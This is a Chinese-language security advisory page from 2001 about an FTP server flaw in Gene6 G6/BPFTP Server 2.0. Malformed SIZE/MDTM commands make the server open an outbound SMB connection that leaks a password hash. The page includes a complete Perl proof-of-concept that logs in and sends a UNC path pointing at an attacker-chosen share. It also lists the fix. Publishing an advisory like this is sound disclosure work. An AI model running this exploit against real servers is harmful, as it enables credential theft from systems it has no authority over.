首页 -> 安全研究

安全研究

安全漏洞
Gene6 BPFTP FTP Server 泄露用户登录信息漏洞

发布日期:2001-04-09
更新日期:2001-04-09

受影响系统:

    Gene6 G6 FTP Server 2.0
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
不受影响系统:

    Gene6 BPFTP Server 2.10
       - Microsoft Windows ME
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
       - Microsoft Windows 2000

描述:

Gene6开发的G6 FTP Server现在更名为BPFTP Server。如果一个有效登录的FTP用户
连接外部共享并提交畸形的"size"、"mdtm"命令,将导致FTP服务器发起一次外部SMB
连接请求。

为了完成SMB连接请求,FTP服务器必须提供登录信息,此时一个password的哈稀值出
现在外部连接上。如果在通信线路上存在第三方sniffer程序,将获取这个password
哈稀值,通过它可以还原出用户名和口令。

<* 来源:Rob Beck (rbeck@atstake.com) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


http://www.securityfocus.com/data/vulnerabilities/exploits/g6-2nbt.pl

--------------------------------------------------------------------------
#!/usr/bin/perl
# G6-2nbt.pl - example G6 ftp server netbios connection script
#
# Tested on win32 and Linux, Linux requires share name to be in
# the format: \\\\host\\share\\path or file://host/share/path

use Getopt::Std;
use IO::Socket;

my($host,$login,$pass,$share,$CRLF,$result);

$CRLF = "\015\012";
getopts('h:l:p:s:',\%args);

if (!defined $args{h}){ print "No host specified.\n";exit;}else{$host =
$args{h};}
if (!defined $args{s}){ print "No share specified.\n";exit;}else{$share =
$args{s};}
if (!defined $args{l} || !defined $args{p}){($login,$pass) =
('anonymous','user@myhost.com');}
else { ($login,$pass) = ($args{l},$args{p});}

$our_sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>21)||
die("Socket problems.");

print "Connected!\n";
print "Login...";

print $our_sock "USER $login" . $CRLF;
$result = <$our_sock>;
if ($result !~ /331\s/) { print "User name not accepted or an error
occurred...exiting.\n";close($our_sock);exit; }

print "good.\nPass....";

print $our_sock "PASS $pass" . $CRLF;
$result = <$our_sock>;
if ($result !~ /230\s/) { if ($result =~ /530\s/) { print "Login/password
incorrect exiting.\n";close($our_sock);exit; } else { print "Login
failure..exiting.\n";close($our_sock);exit; }}

print "good.\nTesting path type...";

print $our_sock "PWD" . $CRLF;
$result = <$our_sock>;
$result = <$our_sock>;
if (lc($result) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
path' is enabled...exiting.\n";close($our_sock);exit;}

print "not relative path.\nSending UNC to connect to...";

print $our_sock "SIZE $share" . $CRLF;
print "completed.\nCheck your logs.\n";

close($our_sock);
exit;


建议:

    Gene6 在 BPFTP Server v2.10 中修正了这个漏洞,到这里下载升级版本
    http://www.bpftpserver.com/postdown.html

浏览次数:7686
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障